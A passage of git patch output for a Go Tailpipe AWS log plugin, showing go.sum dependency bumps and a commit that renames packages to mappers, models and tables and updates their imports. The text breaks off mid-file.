-github.com/zclconf/go-cty v1.14.3 h1:1JXy1XroaGrzZuG6X9dt7HL6s9AwbY+l4UNL8o5B6ho= -github.com/zclconf/go-cty v1.14.3/go.mod h1:VvMs5i0vgZdhYawQNq5kePSpLAoz8u1xvZgrPIxfnZE= +github.com/zclconf/go-cty v1.14.4 h1:uXXczd9QDGsgu0i/QFR/hzI5NYCHLf6NQw/atrbnhq8= +github.com/zclconf/go-cty v1.14.4/go.mod h1:VvMs5i0vgZdhYawQNq5kePSpLAoz8u1xvZgrPIxfnZE= github.com/zclconf/go-cty-debug v0.0.0-20191215020915-b22d67c1ba0b h1:FosyBZYxY34Wul7O/MSKey3txpPYyCqVO5ZyceuQJEI= github.com/zclconf/go-cty-debug v0.0.0-20191215020915-b22d67c1ba0b/go.mod h1:ZRKQfBXbGkpdV6QMzT3rU1kSTAnfu1dO8dPKjYprgj8= github.com/zclconf/go-cty-yaml v1.0.3 h1:og/eOQ7lvA/WWhHGFETVWNduJM7Rjsv2RRpx1sdFMLc= @@ -695,14 +691,14 @@ go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.4 go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.49.0/go.mod h1:Mjt1i1INqiaoZOMGR1RIUJN+i3ChKoFRqzrRQhlkbs0= go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.49.0 h1:jq9TW8u3so/bN+JPT166wjOI6/vQPF6Xe7nMNIltagk= go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.49.0/go.mod h1:p8pYQP+m5XfbZm9fxtSKAbM6oIllS7s2AfxrChvc7iw= -go.opentelemetry.io/otel v1.24.0 h1:0LAOdjNmQeSTzGBzduGe/rU4tZhMwL5rWgtp9Ku5Jfo= -go.opentelemetry.io/otel v1.24.0/go.mod h1:W7b9Ozg4nkF5tWI5zsXkaKKDjdVjpD4oAt9Qi/MArHo= -go.opentelemetry.io/otel/metric v1.24.0 h1:6EhoGWWK28x1fbpA4tYTOWBkPefTDQnb8WSGXlc88kI= -go.opentelemetry.io/otel/metric v1.24.0/go.mod h1:VYhLe1rFfxuTXLgj4CBiyz+9WYBA8pNGJgDcSFRKBco= -go.opentelemetry.io/otel/sdk v1.24.0 h1:YMPPDNymmQN3ZgczicBY3B6sf9n62Dlj9pWD3ucgoDw= -go.opentelemetry.io/otel/sdk v1.24.0/go.mod h1:KVrIYw6tEubO9E96HQpcmpTKDVn9gdv35HoYiQWGDFg= -go.opentelemetry.io/otel/trace v1.24.0 h1:CsKnnL4dUAr/0llH9FKuc698G04IrpWV0MQA/Y1YELI= -go.opentelemetry.io/otel/trace v1.24.0/go.mod h1:HPc3Xr/cOApsBI154IU0OI0HJexz+aw5uPdbs3UCjNU= +go.opentelemetry.io/otel v1.26.0 h1:LQwgL5s/1W7YiiRwxf03QGnWLb2HW4pLiAhaA5cZXBs= +go.opentelemetry.io/otel v1.26.0/go.mod h1:UmLkJHUAidDval2EICqBMbnAd0/m2vmpf/dAM+fvFs4= +go.opentelemetry.io/otel/metric v1.26.0 h1:7S39CLuY5Jgg9CrnA9HHiEjGMF/X2VHvoXGgSllRz30= +go.opentelemetry.io/otel/metric v1.26.0/go.mod h1:SY+rHOI4cEawI9a7N1A4nIg/nTQXe1ccCNWYOJUrpX4= +go.opentelemetry.io/otel/sdk v1.26.0 h1:Y7bumHf5tAiDlRYFmGqetNcLaVUZmh4iYfmGxtmz7F8= +go.opentelemetry.io/otel/sdk v1.26.0/go.mod h1:0p8MXpqLeJ0pzcszQQN4F0S5FVjBLgypeGSngLsmirs= +go.opentelemetry.io/otel/trace v1.26.0 h1:1ieeAUb4y0TE26jUFrCIXKpTuVK7uJGN9/Z/2LP5sQA= +go.opentelemetry.io/otel/trace v1.26.0/go.mod h1:4iDxvGDQuUkHve82hJJ8UqrwswHYsZuWCBllGV2U2y0= go.opentelemetry.io/proto/otlp v0.7.0/go.mod h1:PqfVotwruBrMGOCsRd/89rSnXhoiJIqeYNgFYFoEGnI= go.uber.org/atomic v1.9.0 h1:ECmE8Bn/WFTYwEW/bpKD3M8VtR/zQVbavAoalC1PYyE= go.uber.org/atomic v1.9.0/go.mod h1:fEN4uk6kAWBTFdckzkM89CLk9XfWZrxpCo0nPH17wJc= @@ -713,9 +709,7 @@ golang.org/x/crypto v0.0.0-20190510104115-cbcb75029529/go.mod h1:yigFU9vqHzYiE8U golang.org/x/crypto v0.0.0-20190605123033-f99c8df09eb5/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= -golang.org/x/crypto v0.0.0-20210421170649-83a5a9bb288b/go.mod h1:T9bdIzuCu7OtxOm1hfPfRQxPLYneinmdGuTeoZ9dtd4= golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= -golang.org/x/crypto v0.0.0-20220722155217-630584e8d5aa/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4= golang.org/x/crypto v0.25.0 h1:ypSNr+bnYL2YhwoMt2zPxHFmbAN1KZs/njMG3hxUp30= golang.org/x/crypto v0.25.0/go.mod h1:T+wALwcMOSE0kXgUAnPAHqTLW+XHgcELELW8VaDgm/M= golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= @@ -788,13 +782,11 @@ golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwY golang.org/x/net v0.0.0-20201031054903-ff519b6c9102/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= golang.org/x/net v0.0.0-20201110031124-69a78807bb2b/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= golang.org/x/net v0.0.0-20201209123823-ac852fbbde11/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= -golang.org/x/net v0.0.0-20201224014010-6772e930b67b/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= golang.org/x/net v0.0.0-20210119194325-5f4716e94777/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= golang.org/x/net v0.0.0-20210316092652-d523dce5a7f4/go.mod h1:RBQZq4jEuRlivfhVLdyRGr576XBO4/greRjx4P4O3yc= golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4/go.mod h1:p54w0d4576C0XHj96bSt6lcn1PtDYWL6XObtHCRCNQM= golang.org/x/net v0.0.0-20210503060351-7fd8e65b6420/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= -golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= golang.org/x/net v0.0.0-20220127200216-cd36cc0744dd/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= golang.org/x/net v0.0.0-20220225172249-27dd8689420f/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= golang.org/x/net v0.0.0-20220325170049-de3da57026de/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= @@ -850,8 +842,8 @@ golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJ golang.org/x/sync v0.0.0-20220601150217-0de741cfad7f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20220929204114-8fcdb60fdcc0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.7.0 h1:YsImfSBoP9QPYL0xyKJPq0gcaJdG3rInoqxTWbfQu9M= -golang.org/x/sync v0.7.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= +golang.org/x/sync v0.8.0 h1:3NFvSEYkUoMifnESzZl15y791HH1qU2xm6eCJU5ZPXQ= +golang.org/x/sync v0.8.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190312061237-fead79001313/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= @@ -887,13 +879,11 @@ golang.org/x/sys v0.0.0-20201201145000-ef89a241ccb3/go.mod h1:h1NjWce9XRLGQEsW7w golang.org/x/sys v0.0.0-20210104204734-6f8348627aad/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210119212857-b64e53b001e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210220050731-9a76102bfb43/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210225134936-a50acf3fe073/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210305230114-8fe3ee5dd75b/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210315160823-c6e025ad8005/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210320140829-1e4c9ba3b0c4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210423185535-09eb48e85fd7/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210510120138-977fb7262007/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210514084401-e8d321eab015/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210603125802-9665404d3644/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= @@ -942,8 +932,8 @@ golang.org/x/text v0.3.5/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= golang.org/x/text v0.4.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= -golang.org/x/text v0.16.0 h1:a94ExnEXNtEwYLGJSIUxnWoxoRz/ZcCsV63ROupILh4= -golang.org/x/text v0.16.0/go.mod h1:GhwF1Be+LQoKShO3cGOHzqOgRrGaYc9AvblQOmPVHnI= +golang.org/x/text v0.17.0 h1:XtiM5bkSOt+ewxlOE/aE/AKEHibwj/6gvWMl9Rsh0Qc= +golang.org/x/text v0.17.0/go.mod h1:BuEKDfySbSR4drPmRPG/7iBdf8hvFMuRexcpahXilzY= golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= @@ -994,7 +984,6 @@ golang.org/x/tools v0.0.0-20201110124207-079ba7bd75cd/go.mod h1:emZCQorbCU4vsT4f golang.org/x/tools v0.0.0-20201201161351-ac6f37ff4c2a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= golang.org/x/tools v0.0.0-20201208233053-a543418bbed2/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= golang.org/x/tools v0.0.0-20210105154028-b0ab187a4818/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= -golang.org/x/tools v0.0.0-20210108195828-e2f9c7f1fc8e/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= golang.org/x/tools v0.1.0/go.mod h1:xkSsbof2nBLbhDlRMhhhyNLN/zl3eTqcnHD5viDpcZ0= golang.org/x/tools v0.1.1/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk= golang.org/x/tools v0.1.2/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk= @@ -1106,9 +1095,7 @@ google.golang.org/genproto v0.0.0-20201109203340-2640f1f9cdfb/go.mod h1:FWY/as6D google.golang.org/genproto v0.0.0-20201201144952-b05cb90ed32e/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= google.golang.org/genproto v0.0.0-20201210142538-e3217bee35cc/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= google.golang.org/genproto v0.0.0-20201214200347-8c77b98c765d/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= -google.golang.org/genproto v0.0.0-20210108203827-ffc7fda8c3d7/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= google.golang.org/genproto v0.0.0-20210222152913-aa3ee6e6a81c/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= -google.golang.org/genproto v0.0.0-20210226172003-ab064af71705/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= google.golang.org/genproto v0.0.0-20210303154014-9728d6b83eeb/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= google.golang.org/genproto v0.0.0-20210310155132-4ce2db91004e/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= google.golang.org/genproto v0.0.0-20210319143718-93e7006c17a6/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= @@ -1215,8 +1202,8 @@ google.golang.org/grpc v1.48.0/go.mod h1:vN9eftEi1UMyUsIF80+uQXhHjbXYbm0uXoFCACu google.golang.org/grpc v1.49.0/go.mod h1:ZgQEeidpAuNRZ8iRrlBKXZQP1ghovWIVhdJRyCDK+GI= google.golang.org/grpc v1.50.0/go.mod h1:ZgQEeidpAuNRZ8iRrlBKXZQP1ghovWIVhdJRyCDK+GI= google.golang.org/grpc v1.50.1/go.mod h1:ZgQEeidpAuNRZ8iRrlBKXZQP1ghovWIVhdJRyCDK+GI= -google.golang.org/grpc v1.64.1 h1:LKtvyfbX3UGVPFcGqJ9ItpVWW6oN/2XqTxfAnwRRXiA= -google.golang.org/grpc v1.64.1/go.mod h1:hiQF4LFZelK2WKaP6W0L92zGHtiQdZxk8CrSdvyjeP0= +google.golang.org/grpc v1.66.0 h1:DibZuoBznOxbDQxRINckZcUvnCEvrW9pcWIE2yF9r1c= +google.golang.org/grpc v1.66.0/go.mod h1:s3/l6xSSCURdVfAnL+TqCNMyTDAGN6+lZeVxnZR128Y= google.golang.org/grpc/cmd/protoc-gen-go-grpc v1.1.0/go.mod h1:6Kw0yEErY5E/yWrBtf03jp27GLLJujG4z/JK95pnjjw= google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8= google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0= @@ -1263,5 +1250,5 @@ oras.land/oras-go/v2 v2.5.0/go.mod h1:z4eisnLP530vwIOUOJeBIj0aGI0L1C3d53atvCBqZH rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8= rsc.io/quote/v3 v3.1.0/go.mod h1:yEA65RcK8LyAZtP9Kv3t0HmxON59tX3rD+tICJqUlj0= rsc.io/sampler v1.3.0/go.mod h1:T1hPZKmBbMNahiBKFy5HrXp6adAjACjK9JXDnKaTXpA= -sigs.k8s.io/yaml v1.3.0 h1:a2VclLzOGrwOHDiV8EfBGhvjHvP46CtW5j6POvhYGGo= -sigs.k8s.io/yaml v1.3.0/go.mod h1:GeOyir5tyXNByN85N/dRIT9es5UQNerPYEKK56eTBm8= +sigs.k8s.io/yaml v1.4.0 h1:Mk1wCc2gy/F0THH0TAp1QYyJNzRm2KCLy3o5ASXVI5E= +sigs.k8s.io/yaml v1.4.0/go.mod h1:Ejl7/uTz7PSA4eKMyQCUTnhZYNmLIl+5c2lQPGR2BPY= From 0c75b6911833416504b0ab54916461135a3b6f86 Mon Sep 17 00:00:00 2001 From: Graza Date: Wed, 30 Oct 2024 10:11:06 +0000 Subject: [PATCH 060/180] Updated to use standard structure (#8) --- aws/plugin.go | 26 ++------ aws/plugin_test.go | 10 --- aws_table/cloudtrail_log_table_test.go | 11 ---- main.go | 5 +- {aws_source => mappers}/cloudtrail_mapper.go | 11 ++-- .../elb_access_log_mapper.go | 2 +- .../s3_server_access_log_mapper.go | 2 +- .../aws_cloudtrail.go => models/cloudtrail.go | 3 +- .../elb_access_log.go | 2 +- .../aws_lambda_log.go => models/lambda_log.go | 2 +- .../vpc_flow_log.go | 2 +- .../vpc_flow_log_test.go | 2 +- {aws_table => tables}/cloudtrail_log_table.go | 61 +++++++++++++++--- .../cloudtrail_log_table_config.go | 2 +- {aws_table => tables}/elb_access_log_table.go | 12 ++-- .../elb_access_log_table_config.go | 2 +- {aws_table => tables}/lambda_log_table.go | 8 +-- .../lambda_log_table_config.go | 2 +- .../s3_server_access_log.go | 2 +- .../s3_server_access_log_table.go | 11 ++-- .../s3_server_access_log_table_config.go | 2 +- {aws_table => tables}/vpc_flow_log_table.go | 8 +-- .../vpc_flow_log_table_config.go | 2 +- util/util.go | 64 ------------------- 24 files changed, 102 insertions(+), 152 deletions(-) delete mode 100644 aws/plugin_test.go delete mode 100644 aws_table/cloudtrail_log_table_test.go rename {aws_source => mappers}/cloudtrail_mapper.go (83%) rename {aws_source => mappers}/elb_access_log_mapper.go (99%) rename {aws_source => mappers}/s3_server_access_log_mapper.go (99%) rename aws_types/aws_cloudtrail.go => models/cloudtrail.go (99%) rename aws_types/aws_elb_access_log.go => models/elb_access_log.go (99%) rename aws_types/aws_lambda_log.go => models/lambda_log.go (97%) rename aws_types/aws_vpc_flow_log.go => models/vpc_flow_log.go (99%) rename aws_types/aws_vpc_flow_log_test.go => models/vpc_flow_log_test.go (98%) rename {aws_table => tables}/cloudtrail_log_table.go (69%) rename {aws_table => tables}/cloudtrail_log_table_config.go (85%) rename {aws_table => tables}/elb_access_log_table.go (95%) rename {aws_table => tables}/elb_access_log_table_config.go (89%) rename {aws_table => tables}/lambda_log_table.go (95%) rename {aws_table => tables}/lambda_log_table_config.go (88%) rename aws_types/aws_s3_server_access_log.go => tables/s3_server_access_log.go (98%) rename {aws_table => tables}/s3_server_access_log_table.go (94%) rename {aws_table => tables}/s3_server_access_log_table_config.go (89%) rename {aws_table => tables}/vpc_flow_log_table.go (94%) rename {aws_table => tables}/vpc_flow_log_table_config.go (96%) delete mode 100644 util/util.go diff --git a/aws/plugin.go b/aws/plugin.go index cd19d6a3..7fc35a90 100644 --- a/aws/plugin.go +++ b/aws/plugin.go @@ -1,30 +1,22 @@ package aws import ( - "github.com/turbot/tailpipe-plugin-aws/aws_table" + "github.com/turbot/tailpipe-plugin-aws/tables" "github.com/turbot/tailpipe-plugin-sdk/plugin" "github.com/turbot/tailpipe-plugin-sdk/table" ) -type Plugin struct { - plugin.PluginBase -} - func NewPlugin() (plugin.TailpipePlugin, error) { - p := &Plugin{} - - //slog.Info("AWS Plugin starting") - //time.Sleep(10 * time.Second) - //slog.Info("YAWN") + p := plugin.NewPlugin("aws") // register the tables that we provide resources := &plugin.ResourceFunctions{ Tables: []func() table.Table{ - aws_table.NewCloudTrailLogTable, - aws_table.NewVPCFlowLogLogTable, - aws_table.NewElbAccessLogTable, - aws_table.NewS3ServerAccessLogTable, - aws_table.NewLambdaLogTable, + tables.NewCloudTrailLogTable, + tables.NewVPCFlowLogLogTable, + tables.NewElbAccessLogTable, + tables.NewS3ServerAccessLogTable, + tables.NewLambdaLogTable, }, } @@ -34,7 +26,3 @@ func NewPlugin() (plugin.TailpipePlugin, error) { return p, nil } - -func (t *Plugin) Identifier() string { - return "aws" -} diff --git a/aws/plugin_test.go b/aws/plugin_test.go deleted file mode 100644 index fba7e6db..00000000 --- a/aws/plugin_test.go +++ /dev/null @@ -1,10 +0,0 @@ -package aws - -import ( - "github.com/turbot/tailpipe-plugin-sdk/plugin" - "testing" -) - -func TestConformance(t *testing.T) { - plugin.Validate(t, NewPlugin) -} diff --git a/aws_table/cloudtrail_log_table_test.go b/aws_table/cloudtrail_log_table_test.go deleted file mode 100644 index 1b04f4ae..00000000 --- a/aws_table/cloudtrail_log_table_test.go +++ /dev/null @@ -1,11 +0,0 @@ -package aws_table - -//import ( -// "testing" -// -// "github.com/turbot/tailpipe-plugin-sdk/collection" -//) -// -//func TestConformance(t *testing.T) { -// collection.RunConformanceTests(t, &CloudTrailLogTable{}) -//} diff --git a/main.go b/main.go index f4d7a863..b7a7adde 100644 --- a/main.go +++ b/main.go @@ -1,9 +1,10 @@ package main import ( + "log/slog" + "github.com/turbot/tailpipe-plugin-aws/aws" "github.com/turbot/tailpipe-plugin-sdk/plugin" - "log/slog" ) func main() { @@ -12,6 +13,6 @@ func main() { }) if err != nil { - slog.Error("Error starting plugin", "error", err) + slog.Error("Error starting aws", "error", err) } } diff --git a/aws_source/cloudtrail_mapper.go b/mappers/cloudtrail_mapper.go similarity index 83% rename from aws_source/cloudtrail_mapper.go rename to mappers/cloudtrail_mapper.go index 9f474f28..9da91613 100644 --- a/aws_source/cloudtrail_mapper.go +++ b/mappers/cloudtrail_mapper.go @@ -1,16 +1,17 @@ -package aws_source +package mappers import ( "context" "encoding/json" "fmt" - "github.com/turbot/tailpipe-plugin-aws/aws_types" + "github.com/turbot/tailpipe-plugin-aws/models" + "log/slog" + "github.com/turbot/tailpipe-plugin-sdk/artifact_mapper" "github.com/turbot/tailpipe-plugin-sdk/types" - "log/slog" ) -// CloudtrailMapper is an Mapper that receives AWSCloudTrailBatch objects and extracts AWSCloudTrail records from them +// CloudtrailMapper is a Mapper that receives AWSCloudTrailBatch objects and extracts AWSCloudTrail records from them type CloudtrailMapper struct { } @@ -32,7 +33,7 @@ func (c *CloudtrailMapper) Map(_ context.Context, a *types.RowData) ([]*types.Ro } // decode json ito AWSCloudTrailBatch - var log aws_types.AWSCloudTrailBatch + var log models.AWSCloudTrailBatch err := json.Unmarshal(jsonBytes, &log) if err != nil { return nil, fmt.Errorf("error decoding json: %w", err) diff --git a/aws_source/elb_access_log_mapper.go b/mappers/elb_access_log_mapper.go similarity index 99% rename from aws_source/elb_access_log_mapper.go rename to mappers/elb_access_log_mapper.go index d4e598f0..5ca92690 100644 --- a/aws_source/elb_access_log_mapper.go +++ b/mappers/elb_access_log_mapper.go @@ -1,4 +1,4 @@ -package aws_source +package mappers import ( "context" diff --git a/aws_source/s3_server_access_log_mapper.go b/mappers/s3_server_access_log_mapper.go similarity index 99% rename from aws_source/s3_server_access_log_mapper.go rename to mappers/s3_server_access_log_mapper.go index e0de101b..07b3533a 100644 --- a/aws_source/s3_server_access_log_mapper.go +++ b/mappers/s3_server_access_log_mapper.go @@ -1,4 +1,4 @@ -package aws_source +package mappers import ( "context" diff --git a/aws_types/aws_cloudtrail.go b/models/cloudtrail.go similarity index 99% rename from aws_types/aws_cloudtrail.go rename to models/cloudtrail.go index c64b3c9a..b62ec552 100644 --- a/aws_types/aws_cloudtrail.go +++ b/models/cloudtrail.go @@ -1,4 +1,4 @@ -package aws_types +package models import ( "github.com/turbot/tailpipe-plugin-sdk/enrichment" @@ -43,6 +43,7 @@ type AWSCloudTrail struct { EdgeDeviceDetails *helpers.JSONString `json:"edgeDeviceDetails,omitempty"` TLSDetails *TLSDetails `json:"tlsDetails,omitempty"` } + type UserIdentity struct { Type string `json:"type"` PrincipalId *string `json:"principalId,omitempty"` diff --git a/aws_types/aws_elb_access_log.go b/models/elb_access_log.go similarity index 99% rename from aws_types/aws_elb_access_log.go rename to models/elb_access_log.go index 54a0b1fa..dd611956 100644 --- a/aws_types/aws_elb_access_log.go +++ b/models/elb_access_log.go @@ -1,4 +1,4 @@ -package aws_types +package models import ( "time" diff --git a/aws_types/aws_lambda_log.go b/models/lambda_log.go similarity index 97% rename from aws_types/aws_lambda_log.go rename to models/lambda_log.go index ecb6f632..7ec6486d 100644 --- a/aws_types/aws_lambda_log.go +++ b/models/lambda_log.go @@ -1,4 +1,4 @@ -package aws_types +package models import ( "time" diff --git a/aws_types/aws_vpc_flow_log.go b/models/vpc_flow_log.go similarity index 99% rename from aws_types/aws_vpc_flow_log.go rename to models/vpc_flow_log.go index 9a837d77..d699d4db 100644 --- a/aws_types/aws_vpc_flow_log.go +++ b/models/vpc_flow_log.go @@ -1,4 +1,4 @@ -package aws_types +package models import ( "fmt" diff --git a/aws_types/aws_vpc_flow_log_test.go b/models/vpc_flow_log_test.go similarity index 98% rename from aws_types/aws_vpc_flow_log_test.go rename to models/vpc_flow_log_test.go index aac1161d..d0fe4979 100644 --- a/aws_types/aws_vpc_flow_log_test.go +++ b/models/vpc_flow_log_test.go @@ -1,4 +1,4 @@ -package aws_types +package models import ( "github.com/turbot/pipe-fittings/utils" diff --git a/aws_table/cloudtrail_log_table.go b/tables/cloudtrail_log_table.go similarity index 69% rename from aws_table/cloudtrail_log_table.go rename to tables/cloudtrail_log_table.go index 8b372d1d..ea1f5b91 100644 --- a/aws_table/cloudtrail_log_table.go +++ b/tables/cloudtrail_log_table.go @@ -1,15 +1,14 @@ -package aws_table +package tables import ( "fmt" + "github.com/turbot/tailpipe-plugin-aws/models" "strings" "time" "github.com/rs/xid" "github.com/turbot/pipe-fittings/utils" - "github.com/turbot/tailpipe-plugin-aws/aws_source" - "github.com/turbot/tailpipe-plugin-aws/aws_types" - "github.com/turbot/tailpipe-plugin-aws/util" + "github.com/turbot/tailpipe-plugin-aws/mappers" "github.com/turbot/tailpipe-plugin-sdk/artifact_source" "github.com/turbot/tailpipe-plugin-sdk/artifact_source_config" "github.com/turbot/tailpipe-plugin-sdk/enrichment" @@ -40,7 +39,7 @@ func (c *CloudTrailLogTable) GetSourceOptions(sourceType string) []row_source.Ro // if the source is an artifact source, we need a mapper // NOTE: WithArtifactMapper option will ONLY apply if the RowSource IS an ArtifactSource // TODO #design we may be able to remove the need for this if we can handle JSON generically - artifact_source.WithArtifactMapper(aws_source.NewCloudtrailMapper()), + artifact_source.WithArtifactMapper(mappers.NewCloudtrailMapper()), } switch sourceType { @@ -58,7 +57,7 @@ func (c *CloudTrailLogTable) GetSourceOptions(sourceType string) []row_source.Ro // GetRowSchema implements table.Table func (c *CloudTrailLogTable) GetRowSchema() any { - return aws_types.AWSCloudTrail{} + return models.AWSCloudTrail{} } func (c *CloudTrailLogTable) GetConfigSchema() parse.Config { @@ -68,7 +67,7 @@ func (c *CloudTrailLogTable) GetConfigSchema() parse.Config { // EnrichRow implements table.Table func (c *CloudTrailLogTable) EnrichRow(row any, sourceEnrichmentFields *enrichment.CommonFields) (any, error) { // row must be an AWSCloudTrail - record, ok := row.(aws_types.AWSCloudTrail) + record, ok := row.(models.AWSCloudTrail) if !ok { return nil, fmt.Errorf("invalid row type %T, expected AWSCloudTrail", row) } @@ -89,7 +88,7 @@ func (c *CloudTrailLogTable) EnrichRow(row any, sourceEnrichmentFields *enrichme } for _, resource := range record.Resources { if resource.ARN != nil { - newAkas := 